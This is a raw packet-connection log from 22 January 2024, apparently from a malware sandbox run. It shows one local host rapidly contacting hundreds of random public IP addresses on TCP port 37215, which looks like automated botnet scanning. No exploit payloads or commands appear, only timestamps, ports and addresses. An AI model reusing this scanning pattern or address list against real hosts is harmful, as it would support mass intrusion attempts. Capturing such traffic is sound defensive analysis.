Jan 22, 2024 03:59:34.670576096 CET	58015	37215	192.168.2.20	197.28.225.21
Jan 22, 2024 03:59:34.670607090 CET	58015	37215	192.168.2.20	41.154.208.38
Jan 22, 2024 03:59:34.670636892 CET	58015	37215	192.168.2.20	102.123.216.126
Jan 22, 2024 03:59:34.670670033 CET	58015	37215	192.168.2.20	196.17.238.146
Jan 22, 2024 03:59:34.670670033 CET	58015	37215	192.168.2.20	156.7.7.141
Jan 22, 2024 03:59:34.670694113 CET	58015	37215	192.168.2.20	160.156.59.171
Jan 22, 2024 03:59:34.670711040 CET	58015	37215	192.168.2.20	222.170.65.119
Jan 22, 2024 03:59:34.670725107 CET	58015	37215	192.168.2.20	41.249.202.145
Jan 22, 2024 03:59:34.670734882 CET	58015	37215	192.168.2.20	197.139.94.26
Jan 22, 2024 03:59:34.670753002 CET	58015	37215	192.168.2.20	196.173.22.164
Jan 22, 2024 03:59:34.670777082 CET	58015	37215	192.168.2.20	156.160.44.217
Jan 22, 2024 03:59:34.670790911 CET	58015	37215	192.168.2.20	92.59.41.221
Jan 22, 2024 03:59:34.670809984 CET	58015	37215	192.168.2.20	156.115.59.204
Jan 22, 2024 03:59:34.670825005 CET	58015	37215	192.168.2.20	41.129.244.164
Jan 22, 2024 03:59:34.670841932 CET	58015	37215	192.168.2.20	102.223.76.47
Jan 22, 2024 03:59:34.670859098 CET	58015	37215	192.168.2.20	157.235.204.202
Jan 22, 2024 03:59:34.670872927 CET	58015	37215	192.168.2.20	222.106.226.165
Jan 22, 2024 03:59:34.670890093 CET	58015	37215	192.168.2.20	92.230.208.141
Jan 22, 2024 03:59:34.670896053 CET	58015	37215	192.168.2.20	120.207.70.137
Jan 22, 2024 03:59:34.670922995 CET	58015	37215	192.168.2.20	156.105.129.98
Jan 22, 2024 03:59:34.670948029 CET	58015	37215	192.168.2.20	95.16.83.54
Jan 22, 2024 03:59:34.670948029 CET	58015	37215	192.168.2.20	197.62.182.233
Jan 22, 2024 03:59:34.670969963 CET	58015	37215	192.168.2.20	41.214.85.89
Jan 22, 2024 03:59:34.670989037 CET	58015	37215	192.168.2.20	41.104.215.137
Jan 22, 2024 03:59:34.671004057 CET	58015	37215	192.168.2.20	186.88.248.230
Jan 22, 2024 03:59:34.671014071 CET	58015	37215	192.168.2.20	181.174.136.39
Jan 22, 2024 03:59:34.671040058 CET	58015	37215	192.168.2.20	120.80.118.190
Jan 22, 2024 03:59:34.671066999 CET	58015	37215	192.168.2.20	37.238.37.46
Jan 22, 2024 03:59:34.671078920 CET	58015	37215	192.168.2.20	197.119.155.55
Jan 22, 2024 03:59:34.671104908 CET	58015	37215	192.168.2.20	156.24.167.54
Jan 22, 2024 03:59:34.671119928 CET	58015	37215	192.168.2.20	197.236.170.131
Jan 22, 2024 03:59:34.671135902 CET	58015	37215	192.168.2.20	156.164.126.58
Jan 22, 2024 03:59:34.671152115 CET	58015	37215	192.168.2.20	197.3.130.85
Jan 22, 2024 03:59:34.671169043 CET	58015	37215	192.168.2.20	196.28.0.77
Jan 22, 2024 03:59:34.671195030 CET	58015	37215	192.168.2.20	45.194.160.123
Jan 22, 2024 03:59:34.671195030 CET	58015	37215	192.168.2.20	122.111.111.160
Jan 22, 2024 03:59:34.671219110 CET	58015	37215	192.168.2.20	120.218.143.78
Jan 22, 2024 03:59:34.671231031 CET	58015	37215	192.168.2.20	37.11.140.200
Jan 22, 2024 03:59:34.671251059 CET	58015	37215	192.168.2.20	156.149.235.169
Jan 22, 2024 03:59:34.671278000 CET	58015	37215	192.168.2.20	197.246.34.26
Jan 22, 2024 03:59:34.671278000 CET	58015	37215	192.168.2.20	41.240.105.172
Jan 22, 2024 03:59:34.671302080 CET	58015	37215	192.168.2.20	41.111.187.199
Jan 22, 2024 03:59:34.671314955 CET	58015	37215	192.168.2.20	222.67.220.18
Jan 22, 2024 03:59:34.671333075 CET	58015	37215	192.168.2.20	41.121.111.9
Jan 22, 2024 03:59:34.671345949 CET	58015	37215	192.168.2.20	197.40.109.22
Jan 22, 2024 03:59:34.671367884 CET	58015	37215	192.168.2.20	196.134.232.113
Jan 22, 2024 03:59:34.671395063 CET	58015	37215	192.168.2.20	94.214.232.41
Jan 22, 2024 03:59:34.671410084 CET	58015	37215	192.168.2.20	120.227.154.221
Jan 22, 2024 03:59:34.671437025 CET	58015	37215	192.168.2.20	156.191.179.1
Jan 22, 2024 03:59:34.671472073 CET	58015	37215	192.168.2.20	156.105.28.119
Jan 22, 2024 03:59:34.671478987 CET	58015	37215	192.168.2.20	102.219.8.25
Jan 22, 2024 03:59:34.671509027 CET	58015	37215	192.168.2.20	41.240.186.76
Jan 22, 2024 03:59:34.671516895 CET	58015	37215	192.168.2.20	41.144.49.136
Jan 22, 2024 03:59:34.671551943 CET	58015	37215	192.168.2.20	41.191.237.182
Jan 22, 2024 03:59:34.671552896 CET	58015	37215	192.168.2.20	41.146.178.148
Jan 22, 2024 03:59:34.671576977 CET	58015	37215	192.168.2.20	41.48.20.68
Jan 22, 2024 03:59:34.671593904 CET	58015	37215	192.168.2.20	41.194.51.75
Jan 22, 2024 03:59:34.671605110 CET	58015	37215	192.168.2.20	92.209.95.38
Jan 22, 2024 03:59:34.671633959 CET	58015	37215	192.168.2.20	156.213.222.242
Jan 22, 2024 03:59:34.671644926 CET	58015	37215	192.168.2.20	156.254.78.254
Jan 22, 2024 03:59:34.671683073 CET	58015	37215	192.168.2.20	45.4.227.171
Jan 22, 2024 03:59:34.671685934 CET	58015	37215	192.168.2.20	197.140.43.244
Jan 22, 2024 03:59:34.671710968 CET	58015	37215	192.168.2.20	156.112.211.229
Jan 22, 2024 03:59:34.671717882 CET	58015	37215	192.168.2.20	41.34.85.240
Jan 22, 2024 03:59:34.671730995 CET	58015	37215	192.168.2.20	197.91.109.6
Jan 22, 2024 03:59:34.671746016 CET	58015	37215	192.168.2.20	41.105.209.201
Jan 22, 2024 03:59:34.671762943 CET	58015	37215	192.168.2.20	41.190.62.148
Jan 22, 2024 03:59:34.671776056 CET	58015	37215	192.168.2.20	196.154.42.121
Jan 22, 2024 03:59:34.671802044 CET	58015	37215	192.168.2.20	41.119.36.20
Jan 22, 2024 03:59:34.671813011 CET	58015	37215	192.168.2.20	41.134.166.16
Jan 22, 2024 03:59:34.671829939 CET	58015	37215	192.168.2.20	197.157.223.148
Jan 22, 2024 03:59:34.671849966 CET	58015	37215	192.168.2.20	197.139.173.132
Jan 22, 2024 03:59:34.671864033 CET	58015	37215	192.168.2.20	156.2.24.32
Jan 22, 2024 03:59:34.671879053 CET	58015	37215	192.168.2.20	197.255.234.118
Jan 22, 2024 03:59:34.671894073 CET	58015	37215	192.168.2.20	156.151.52.167
Jan 22, 2024 03:59:34.671915054 CET	58015	37215	192.168.2.20	197.99.93.224
Jan 22, 2024 03:59:34.671946049 CET	58015	37215	192.168.2.20	196.62.39.143
Jan 22, 2024 03:59:34.671947002 CET	58015	37215	192.168.2.20	156.12.113.109
Jan 22, 2024 03:59:34.671955109 CET	58015	37215	192.168.2.20	197.42.103.23
Jan 22, 2024 03:59:34.671979904 CET	58015	37215	192.168.2.20	197.144.88.248
Jan 22, 2024 03:59:34.671993971 CET	58015	37215	192.168.2.20	196.44.21.142
Jan 22, 2024 03:59:34.672041893 CET	58015	37215	192.168.2.20	41.124.148.168
Jan 22, 2024 03:59:34.672056913 CET	58015	37215	192.168.2.20	197.246.214.241
Jan 22, 2024 03:59:34.672074080 CET	58015	37215	192.168.2.20	41.247.49.26
Jan 22, 2024 03:59:34.672103882 CET	58015	37215	192.168.2.20	197.250.74.85
Jan 22, 2024 03:59:34.672110081 CET	58015	37215	192.168.2.20	121.130.228.38
Jan 22, 2024 03:59:34.672128916 CET	58015	37215	192.168.2.20	122.151.136.158
Jan 22, 2024 03:59:34.672143936 CET	58015	37215	192.168.2.20	157.110.253.13
Jan 22, 2024 03:59:34.672159910 CET	58015	37215	192.168.2.20	41.196.216.72
Jan 22, 2024 03:59:34.672189951 CET	58015	37215	192.168.2.20	95.119.14.222
Jan 22, 2024 03:59:34.672198057 CET	58015	37215	192.168.2.20	156.123.93.179
Jan 22, 2024 03:59:34.672234058 CET	58015	37215	192.168.2.20	156.115.141.49
Jan 22, 2024 03:59:34.672234058 CET	58015	37215	192.168.2.20	197.163.246.103
Jan 22, 2024 03:59:34.672240019 CET	58015	37215	192.168.2.20	122.202.108.251
Jan 22, 2024 03:59:34.672261953 CET	58015	37215	192.168.2.20	107.166.79.72
Jan 22, 2024 03:59:34.672278881 CET	58015	37215	192.168.2.20	120.43.99.244
Jan 22, 2024 03:59:34.672295094 CET	58015	37215	192.168.2.20	197.34.47.24
Jan 22, 2024 03:59:34.672318935 CET	58015	37215	192.168.2.20	41.34.242.34
Jan 22, 2024 03:59:34.672319889 CET	58015	37215	192.168.2.20	197.152.72.211
Jan 22, 2024 03:59:34.672338009 CET	58015	37215	192.168.2.20	197.34.14.80
Jan 22, 2024 03:59:34.672359943 CET	58015	37215	192.168.2.20	197.2.88.15
Jan 22, 2024 03:59:34.672374010 CET	58015	37215	192.168.2.20	156.38.180.77
Jan 22, 2024 03:59:34.672394037 CET	58015	37215	192.168.2.20	41.183.137.9
Jan 22, 2024 03:59:34.672420025 CET	58015	37215	192.168.2.20	197.231.32.174
Jan 22, 2024 03:59:34.672426939 CET	58015	37215	192.168.2.20	156.163.122.38
Jan 22, 2024 03:59:34.672446012 CET	58015	37215	192.168.2.20	197.187.221.237
Jan 22, 2024 03:59:34.672475100 CET	58015	37215	192.168.2.20	121.237.218.50
Jan 22, 2024 03:59:34.672477961 CET	58015	37215	192.168.2.20	107.183.206.233
Jan 22, 2024 03:59:34.672502041 CET	58015	37215	192.168.2.20	156.167.62.84
Jan 22, 2024 03:59:34.672533989 CET	58015	37215	192.168.2.20	156.28.127.4
Jan 22, 2024 03:59:34.672543049 CET	58015	37215	192.168.2.20	95.44.187.82
Jan 22, 2024 03:59:34.672560930 CET	58015	37215	192.168.2.20	197.207.63.213
Jan 22, 2024 03:59:34.672578096 CET	58015	37215	192.168.2.20	41.132.104.115
Jan 22, 2024 03:59:34.672593117 CET	58015	37215	192.168.2.20	37.197.3.234
Jan 22, 2024 03:59:34.672611952 CET	58015	37215	192.168.2.20	122.203.66.141
Jan 22, 2024 03:59:34.672647953 CET	58015	37215	192.168.2.20	156.244.99.232
Jan 22, 2024 03:59:34.672648907 CET	58015	37215	192.168.2.20	92.66.214.43
Jan 22, 2024 03:59:34.672665119 CET	58015	37215	192.168.2.20	197.103.165.76
Jan 22, 2024 03:59:34.672693014 CET	58015	37215	192.168.2.20	157.69.164.98
Jan 22, 2024 03:59:34.672703028 CET	58015	37215	192.168.2.20	45.107.145.243
Jan 22, 2024 03:59:34.672728062 CET	58015	37215	192.168.2.20	197.68.25.143
Jan 22, 2024 03:59:34.672749996 CET	58015	37215	192.168.2.20	41.12.225.141
Jan 22, 2024 03:59:34.672765017 CET	58015	37215	192.168.2.20	156.27.125.235
Jan 22, 2024 03:59:34.672771931 CET	58015	37215	192.168.2.20	94.212.64.64
Jan 22, 2024 03:59:34.672796965 CET	58015	37215	192.168.2.20	197.216.0.203
Jan 22, 2024 03:59:34.672811985 CET	58015	37215	192.168.2.20	120.196.77.228
Jan 22, 2024 03:59:34.672823906 CET	58015	37215	192.168.2.20	41.130.185.198
Jan 22, 2024 03:59:34.672847033 CET	58015	37215	192.168.2.20	197.73.101.12
Jan 22, 2024 03:59:34.672874928 CET	58015	37215	192.168.2.20	197.227.250.17
Jan 22, 2024 03:59:34.672878981 CET	58015	37215	192.168.2.20	156.12.76.183
Jan 22, 2024 03:59:34.672885895 CET	58015	37215	192.168.2.20	160.74.84.142
Jan 22, 2024 03:59:34.672909975 CET	58015	37215	192.168.2.20	197.0.192.172
Jan 22, 2024 03:59:34.672933102 CET	58015	37215	192.168.2.20	156.87.201.188
Jan 22, 2024 03:59:34.672940969 CET	58015	37215	192.168.2.20	41.199.67.38
Jan 22, 2024 03:59:34.672959089 CET	58015	37215	192.168.2.20	41.31.16.6
Jan 22, 2024 03:59:34.672975063 CET	58015	37215	192.168.2.20	41.17.179.184
Jan 22, 2024 03:59:34.672983885 CET	58015	37215	192.168.2.20	197.169.227.18
Jan 22, 2024 03:59:34.673010111 CET	58015	37215	192.168.2.20	41.124.254.237
Jan 22, 2024 03:59:34.673026085 CET	58015	37215	192.168.2.20	197.131.115.0
Jan 22, 2024 03:59:34.673039913 CET	58015	37215	192.168.2.20	181.217.185.202
Jan 22, 2024 03:59:34.673070908 CET	58015	37215	192.168.2.20	41.179.66.205
Jan 22, 2024 03:59:34.673072100 CET	58015	37215	192.168.2.20	197.135.123.64
Jan 22, 2024 03:59:34.673088074 CET	58015	37215	192.168.2.20	156.53.174.141
Jan 22, 2024 03:59:34.673105001 CET	58015	37215	192.168.2.20	156.47.4.239
Jan 22, 2024 03:59:34.673120975 CET	58015	37215	192.168.2.20	122.71.168.15
Jan 22, 2024 03:59:34.673136950 CET	58015	37215	192.168.2.20	41.43.250.47
Jan 22, 2024 03:59:34.673160076 CET	58015	37215	192.168.2.20	92.56.224.215
Jan 22, 2024 03:59:34.673175097 CET	58015	37215	192.168.2.20	156.35.117.157
Jan 22, 2024 03:59:34.673197985 CET	58015	37215	192.168.2.20	197.49.50.170
Jan 22, 2024 03:59:34.673213005 CET	58015	37215	192.168.2.20	197.81.51.28
Jan 22, 2024 03:59:34.673223019 CET	58015	37215	192.168.2.20	156.81.58.228
Jan 22, 2024 03:59:34.673264027 CET	58015	37215	192.168.2.20	160.240.8.236
Jan 22, 2024 03:59:34.673264980 CET	58015	37215	192.168.2.20	190.12.92.206
Jan 22, 2024 03:59:34.673279047 CET	58015	37215	192.168.2.20	41.19.115.77
Jan 22, 2024 03:59:34.673294067 CET	58015	37215	192.168.2.20	138.191.224.3
Jan 22, 2024 03:59:34.673306942 CET	58015	37215	192.168.2.20	41.161.53.123
Jan 22, 2024 03:59:34.673327923 CET	58015	37215	192.168.2.20	197.210.130.84
Jan 22, 2024 03:59:34.673346043 CET	58015	37215	192.168.2.20	157.136.131.78
Jan 22, 2024 03:59:34.673358917 CET	58015	37215	192.168.2.20	107.242.212.43
Jan 22, 2024 03:59:34.673376083 CET	58015	37215	192.168.2.20	156.62.249.189
Jan 22, 2024 03:59:34.673407078 CET	58015	37215	192.168.2.20	156.86.210.138
Jan 22, 2024 03:59:34.673412085 CET	58015	37215	192.168.2.20	197.251.53.233
Jan 22, 2024 03:59:34.673439980 CET	58015	37215	192.168.2.20	186.205.189.220
Jan 22, 2024 03:59:34.673439980 CET	58015	37215	192.168.2.20	186.6.241.95
Jan 22, 2024 03:59:34.673455000 CET	58015	37215	192.168.2.20	41.157.58.183
Jan 22, 2024 03:59:34.673475027 CET	58015	37215	192.168.2.20	120.153.24.240
Jan 22, 2024 03:59:34.673501015 CET	58015	37215	192.168.2.20	197.253.100.128
Jan 22, 2024 03:59:34.673583984 CET	49266	37215	192.168.2.20	41.232.250.61
Jan 22, 2024 03:59:34.860044003 CET	37215	58015	190.12.92.206	192.168.2.20
Jan 22, 2024 03:59:34.946005106 CET	37215	58015	41.43.250.47	192.168.2.20
Jan 22, 2024 03:59:34.955107927 CET	37215	49266	41.232.250.61	192.168.2.20
Jan 22, 2024 03:59:34.955215931 CET	49266	37215	192.168.2.20	41.232.250.61
Jan 22, 2024 03:59:34.955339909 CET	49266	37215	192.168.2.20	41.232.250.61
Jan 22, 2024 03:59:34.955410957 CET	49266	37215	192.168.2.20	41.232.250.61
Jan 22, 2024 03:59:34.955544949 CET	49268	37215	192.168.2.20	41.232.250.61
Jan 22, 2024 03:59:34.977047920 CET	37215	58015	156.254.78.254	192.168.2.20
Jan 22, 2024 03:59:34.977195024 CET	58015	37215	192.168.2.20	156.254.78.254
Jan 22, 2024 03:59:35.029479027 CET	37215	58015	102.69.194.174	192.168.2.20
Jan 22, 2024 03:59:35.055190086 CET	37215	58015	120.196.77.228	192.168.2.20
Jan 22, 2024 03:59:35.236401081 CET	37215	49266	41.232.250.61	192.168.2.20
Jan 22, 2024 03:59:35.237804890 CET	37215	49268	41.232.250.61	192.168.2.20
Jan 22, 2024 03:59:35.237993956 CET	49268	37215	192.168.2.20	41.232.250.61
Jan 22, 2024 03:59:35.237993956 CET	49268	37215	192.168.2.20	41.232.250.61
Jan 22, 2024 03:59:35.238034010 CET	51026	37215	192.168.2.20	156.254.78.254
Jan 22, 2024 03:59:35.242202044 CET	37215	49266	41.232.250.61	192.168.2.20
Jan 22, 2024 03:59:35.242261887 CET	49266	37215	192.168.2.20	41.232.250.61
Jan 22, 2024 03:59:35.246144056 CET	37215	49266	41.232.250.61	192.168.2.20
Jan 22, 2024 03:59:35.246202946 CET	49266	37215	192.168.2.20	41.232.250.61
Jan 22, 2024 03:59:35.304496050 CET	34828	37215	192.168.2.20	92.94.107.197
Jan 22, 2024 03:59:35.500498056 CET	34834	37215	192.168.2.20	92.94.107.197
Jan 22, 2024 03:59:35.519081116 CET	37215	49268	41.232.250.61	192.168.2.20
Jan 22, 2024 03:59:35.519378901 CET	49268	37215	192.168.2.20	41.232.250.61
Jan 22, 2024 03:59:35.533528090 CET	37215	51026	156.254.78.254	192.168.2.20
Jan 22, 2024 03:59:35.533682108 CET	58015	37215	192.168.2.20	95.25.65.110
Jan 22, 2024 03:59:35.533682108 CET	58015	37215	192.168.2.20	41.11.249.5
Jan 22, 2024 03:59:35.533693075 CET	51026	37215	192.168.2.20	156.254.78.254
Jan 22, 2024 03:59:35.533710003 CET	58015	37215	192.168.2.20	222.208.249.79
Jan 22, 2024 03:59:35.533759117 CET	58015	37215	192.168.2.20	190.222.254.188
Jan 22, 2024 03:59:35.533771038 CET	58015	37215	192.168.2.20	197.164.194.3
Jan 22, 2024 03:59:35.533818960 CET	58015	37215	192.168.2.20	121.5.215.150
Jan 22, 2024 03:59:35.533845901 CET	58015	37215	192.168.2.20	190.156.171.90
Jan 22, 2024 03:59:35.533852100 CET	58015	37215	192.168.2.20	197.189.167.248
Jan 22, 2024 03:59:35.533852100 CET	58015	37215	192.168.2.20	37.178.194.134
Jan 22, 2024 03:59:35.533852100 CET	58015	37215	192.168.2.20	160.216.85.149
Jan 22, 2024 03:59:35.533914089 CET	58015	37215	192.168.2.20	197.242.0.104
Jan 22, 2024 03:59:35.533919096 CET	58015	37215	192.168.2.20	190.215.220.38
Jan 22, 2024 03:59:35.533940077 CET	58015	37215	192.168.2.20	41.236.170.135
Jan 22, 2024 03:59:35.534008980 CET	58015	37215	192.168.2.20	94.244.95.194
Jan 22, 2024 03:59:35.534008980 CET	58015	37215	192.168.2.20	156.65.153.104
Jan 22, 2024 03:59:35.534008980 CET	58015	37215	192.168.2.20	121.101.50.234
Jan 22, 2024 03:59:35.534012079 CET	58015	37215	192.168.2.20	94.213.75.231
Jan 22, 2024 03:59:35.534015894 CET	58015	37215	192.168.2.20	197.144.51.31
Jan 22, 2024 03:59:35.534015894 CET	58015	37215	192.168.2.20	122.145.127.161
Jan 22, 2024 03:59:35.534015894 CET	58015	37215	192.168.2.20	41.99.101.20
Jan 22, 2024 03:59:35.534019947 CET	58015	37215	192.168.2.20	37.201.39.235
Jan 22, 2024 03:59:35.534056902 CET	58015	37215	192.168.2.20	222.231.206.127
Jan 22, 2024 03:59:35.534070969 CET	58015	37215	192.168.2.20	186.157.236.208
Jan 22, 2024 03:59:35.534091949 CET	58015	37215	192.168.2.20	122.71.48.82
Jan 22, 2024 03:59:35.534122944 CET	58015	37215	192.168.2.20	197.61.90.223
Jan 22, 2024 03:59:35.534141064 CET	58015	37215	192.168.2.20	37.60.219.32
Jan 22, 2024 03:59:35.534140110 CET	58015	37215	192.168.2.20	222.207.5.178
Jan 22, 2024 03:59:35.534174919 CET	58015	37215	192.168.2.20	37.64.107.49
Jan 22, 2024 03:59:35.534178972 CET	58015	37215	192.168.2.20	120.116.85.123
Jan 22, 2024 03:59:35.534193039 CET	58015	37215	192.168.2.20	156.233.91.50
Jan 22, 2024 03:59:35.534216881 CET	58015	37215	192.168.2.20	156.86.243.144
Jan 22, 2024 03:59:35.534226894 CET	58015	37215	192.168.2.20	94.40.34.118
Jan 22, 2024 03:59:35.534255028 CET	58015	37215	192.168.2.20	41.61.176.146
Jan 22, 2024 03:59:35.534265995 CET	58015	37215	192.168.2.20	197.108.99.115
Jan 22, 2024 03:59:35.534291029 CET	58015	37215	192.168.2.20	156.3.227.142
Jan 22, 2024 03:59:35.534343004 CET	58015	37215	192.168.2.20	41.13.129.28
Jan 22, 2024 03:59:35.534343004 CET	58015	37215	192.168.2.20	41.16.27.204
Jan 22, 2024 03:59:35.534363985 CET	58015	37215	192.168.2.20	156.236.229.250
Jan 22, 2024 03:59:35.534365892 CET	58015	37215	192.168.2.20	107.40.21.110
Jan 22, 2024 03:59:35.534365892 CET	58015	37215	192.168.2.20	41.155.209.69
Jan 22, 2024 03:59:35.534393072 CET	58015	37215	192.168.2.20	156.145.192.25
Jan 22, 2024 03:59:35.534408092 CET	58015	37215	192.168.2.20	156.84.176.40
Jan 22, 2024 03:59:35.534413099 CET	58015	37215	192.168.2.20	197.179.0.225
Jan 22, 2024 03:59:35.534414053 CET	58015	37215	192.168.2.20	95.34.55.61
Jan 22, 2024 03:59:35.534446955 CET	58015	37215	192.168.2.20	41.135.97.207
Jan 22, 2024 03:59:35.534450054 CET	58015	37215	192.168.2.20	157.135.219.71
Jan 22, 2024 03:59:35.534482956 CET	58015	37215	192.168.2.20	181.116.39.210
Jan 22, 2024 03:59:35.534482956 CET	58015	37215	192.168.2.20	160.14.172.23
Jan 22, 2024 03:59:35.534493923 CET	58015	37215	192.168.2.20	41.212.239.95
Jan 22, 2024 03:59:35.534512043 CET	58015	37215	192.168.2.20	41.193.152.200
Jan 22, 2024 03:59:35.534529924 CET	58015	37215	192.168.2.20	156.107.249.28
Jan 22, 2024 03:59:35.534570932 CET	58015	37215	192.168.2.20	121.219.80.158
Jan 22, 2024 03:59:35.534574032 CET	58015	37215	192.168.2.20	102.158.157.174
Jan 22, 2024 03:59:35.534593105 CET	58015	37215	192.168.2.20	196.151.214.51
Jan 22, 2024 03:59:35.534621954 CET	58015	37215	192.168.2.20	197.164.19.148
Jan 22, 2024 03:59:35.534630060 CET	58015	37215	192.168.2.20	197.92.36.17
Jan 22, 2024 03:59:35.534660101 CET	58015	37215	192.168.2.20	156.159.19.130
Jan 22, 2024 03:59:35.534779072 CET	58015	37215	192.168.2.20	41.176.211.6
Jan 22, 2024 03:59:35.534785032 CET	58015	37215	192.168.2.20	156.150.145.137
Jan 22, 2024 03:59:35.534785032 CET	58015	37215	192.168.2.20	156.153.59.249
Jan 22, 2024 03:59:35.534785032 CET	58015	37215	192.168.2.20	102.166.167.209
Jan 22, 2024 03:59:35.534785986 CET	58015	37215	192.168.2.20	138.207.38.224
Jan 22, 2024 03:59:35.534801006 CET	58015	37215	192.168.2.20	41.136.201.7
Jan 22, 2024 03:59:35.534826994 CET	58015	37215	192.168.2.20	156.148.37.173
Jan 22, 2024 03:59:35.534826994 CET	58015	37215	192.168.2.20	156.144.139.187
Jan 22, 2024 03:59:35.534826994 CET	58015	37215	192.168.2.20	138.169.24.10
Jan 22, 2024 03:59:35.534826994 CET	58015	37215	192.168.2.20	197.230.237.99
Jan 22, 2024 03:59:35.534847975 CET	58015	37215	192.168.2.20	156.158.99.32
Jan 22, 2024 03:59:35.534868002 CET	58015	37215	192.168.2.20	156.18.212.168
Jan 22, 2024 03:59:35.534883976 CET	58015	37215	192.168.2.20	107.174.117.217
Jan 22, 2024 03:59:35.534913063 CET	58015	37215	192.168.2.20	156.146.115.180
Jan 22, 2024 03:59:35.534929991 CET	58015	37215	192.168.2.20	154.64.134.2
Jan 22, 2024 03:59:35.534959078 CET	58015	37215	192.168.2.20	186.255.181.58
Jan 22, 2024 03:59:35.534982920 CET	58015	37215	192.168.2.20	41.238.245.229
Jan 22, 2024 03:59:35.535005093 CET	58015	37215	192.168.2.20	156.52.225.146
Jan 22, 2024 03:59:35.535015106 CET	58015	37215	192.168.2.20	121.185.97.232
Jan 22, 2024 03:59:35.535031080 CET	58015	37215	192.168.2.20	197.248.97.167
Jan 22, 2024 03:59:35.535054922 CET	58015	37215	192.168.2.20	156.81.36.141
Jan 22, 2024 03:59:35.535073996 CET	58015	37215	192.168.2.20	41.105.14.25
Jan 22, 2024 03:59:35.535087109 CET	58015	37215	192.168.2.20	197.75.13.61
Jan 22, 2024 03:59:35.535103083 CET	58015	37215	192.168.2.20	41.183.118.128
Jan 22, 2024 03:59:35.535131931 CET	58015	37215	192.168.2.20	197.56.134.128
Jan 22, 2024 03:59:35.535165071 CET	58015	37215	192.168.2.20	197.218.174.161
Jan 22, 2024 03:59:35.535192013 CET	58015	37215	192.168.2.20	186.86.158.47
Jan 22, 2024 03:59:35.535223007 CET	58015	37215	192.168.2.20	95.56.101.144
Jan 22, 2024 03:59:35.535238028 CET	58015	37215	192.168.2.20	197.194.187.144
Jan 22, 2024 03:59:35.535252094 CET	58015	37215	192.168.2.20	37.143.62.215
Jan 22, 2024 03:59:35.535278082 CET	58015	37215	192.168.2.20	156.36.48.238
Jan 22, 2024 03:59:35.535303116 CET	58015	37215	192.168.2.20	41.12.134.238
Jan 22, 2024 03:59:35.535306931 CET	58015	37215	192.168.2.20	154.20.89.56
Jan 22, 2024 03:59:35.535307884 CET	58015	37215	192.168.2.20	120.205.250.112
Jan 22, 2024 03:59:35.535324097 CET	58015	37215	192.168.2.20	222.154.255.96
Jan 22, 2024 03:59:35.535339117 CET	58015	37215	192.168.2.20	107.14.83.135
Jan 22, 2024 03:59:35.535367966 CET	58015	37215	192.168.2.20	197.135.65.15
Jan 22, 2024 03:59:35.535393953 CET	58015	37215	192.168.2.20	41.125.130.61
Jan 22, 2024 03:59:35.535398960 CET	58015	37215	192.168.2.20	197.13.203.24
Jan 22, 2024 03:59:35.535418987 CET	58015	37215	192.168.2.20	156.205.218.126
Jan 22, 2024 03:59:35.535434008 CET	58015	37215	192.168.2.20	197.137.91.3
Jan 22, 2024 03:59:35.535448074 CET	58015	37215	192.168.2.20	41.204.201.242
Jan 22, 2024 03:59:35.535470963 CET	58015	37215	192.168.2.20	41.131.60.154
Jan 22, 2024 03:59:35.535495043 CET	58015	37215	192.168.2.20	41.61.193.160
Jan 22, 2024 03:59:35.535516024 CET	58015	37215	192.168.2.20	154.95.212.65
Jan 22, 2024 03:59:35.535531044 CET	58015	37215	192.168.2.20	41.6.132.254
Jan 22, 2024 03:59:35.535546064 CET	58015	37215	192.168.2.20	156.215.226.98
Jan 22, 2024 03:59:35.535569906 CET	58015	37215	192.168.2.20	197.140.248.231
Jan 22, 2024 03:59:35.535588980 CET	58015	37215	192.168.2.20	41.22.100.74
Jan 22, 2024 03:59:35.535618067 CET	58015	37215	192.168.2.20	197.150.114.113
Jan 22, 2024 03:59:35.535631895 CET	58015	37215	192.168.2.20	197.14.243.175
Jan 22, 2024 03:59:35.535657883 CET	58015	37215	192.168.2.20	37.19.157.242
Jan 22, 2024 03:59:35.535681963 CET	58015	37215	192.168.2.20	197.255.93.191
Jan 22, 2024 03:59:35.535698891 CET	58015	37215	192.168.2.20	120.74.131.192
Jan 22, 2024 03:59:35.535711050 CET	58015	37215	192.168.2.20	156.51.213.133
Jan 22, 2024 03:59:35.535734892 CET	58015	37215	192.168.2.20	157.240.89.24
Jan 22, 2024 03:59:35.535758972 CET	58015	37215	192.168.2.20	197.147.126.214
Jan 22, 2024 03:59:35.535779953 CET	58015	37215	192.168.2.20	122.94.95.137
Jan 22, 2024 03:59:35.535809994 CET	58015	37215	192.168.2.20	156.70.151.70
Jan 22, 2024 03:59:35.535813093 CET	58015	37215	192.168.2.20	197.114.32.51
Jan 22, 2024 03:59:35.535836935 CET	58015	37215	192.168.2.20	154.90.126.238
Jan 22, 2024 03:59:35.535851002 CET	58015	37215	192.168.2.20	156.61.249.250
Jan 22, 2024 03:59:35.535880089 CET	58015	37215	192.168.2.20	156.251.31.91
Jan 22, 2024 03:59:35.535887003 CET	58015	37215	192.168.2.20	156.79.209.28
Jan 22, 2024 03:59:35.535902977 CET	58015	37215	192.168.2.20	197.194.255.132
Jan 22, 2024 03:59:35.535932064 CET	58015	37215	192.168.2.20	41.42.182.219
Jan 22, 2024 03:59:35.535948992 CET	58015	37215	192.168.2.20	160.51.148.143
Jan 22, 2024 03:59:35.535964966 CET	58015	37215	192.168.2.20	102.71.206.216
Jan 22, 2024 03:59:35.535976887 CET	58015	37215	192.168.2.20	92.93.48.115
Jan 22, 2024 03:59:35.535995007 CET	58015	37215	192.168.2.20	156.114.161.110
Jan 22, 2024 03:59:35.536030054 CET	58015	37215	192.168.2.20	197.19.112.146
Jan 22, 2024 03:59:35.536051035 CET	58015	37215	192.168.2.20	94.198.61.25
Jan 22, 2024 03:59:35.536067963 CET	58015	37215	192.168.2.20	156.21.109.177
Jan 22, 2024 03:59:35.536082983 CET	58015	37215	192.168.2.20	222.237.188.11
Jan 22, 2024 03:59:35.536113024 CET	58015	37215	192.168.2.20	156.237.135.39
Jan 22, 2024 03:59:35.536113024 CET	58015	37215	192.168.2.20	197.218.244.152
Jan 22, 2024 03:59:35.536132097 CET	58015	37215	192.168.2.20	138.166.86.147
Jan 22, 2024 03:59:35.536149979 CET	58015	37215	192.168.2.20	156.240.139.207
Jan 22, 2024 03:59:35.536175966 CET	58015	37215	192.168.2.20	156.117.158.227
Jan 22, 2024 03:59:35.536206961 CET	58015	37215	192.168.2.20	197.183.32.206
Jan 22, 2024 03:59:35.536231041 CET	58015	37215	192.168.2.20	94.59.212.85
Jan 22, 2024 03:59:35.536250114 CET	58015	37215	192.168.2.20	41.222.61.80
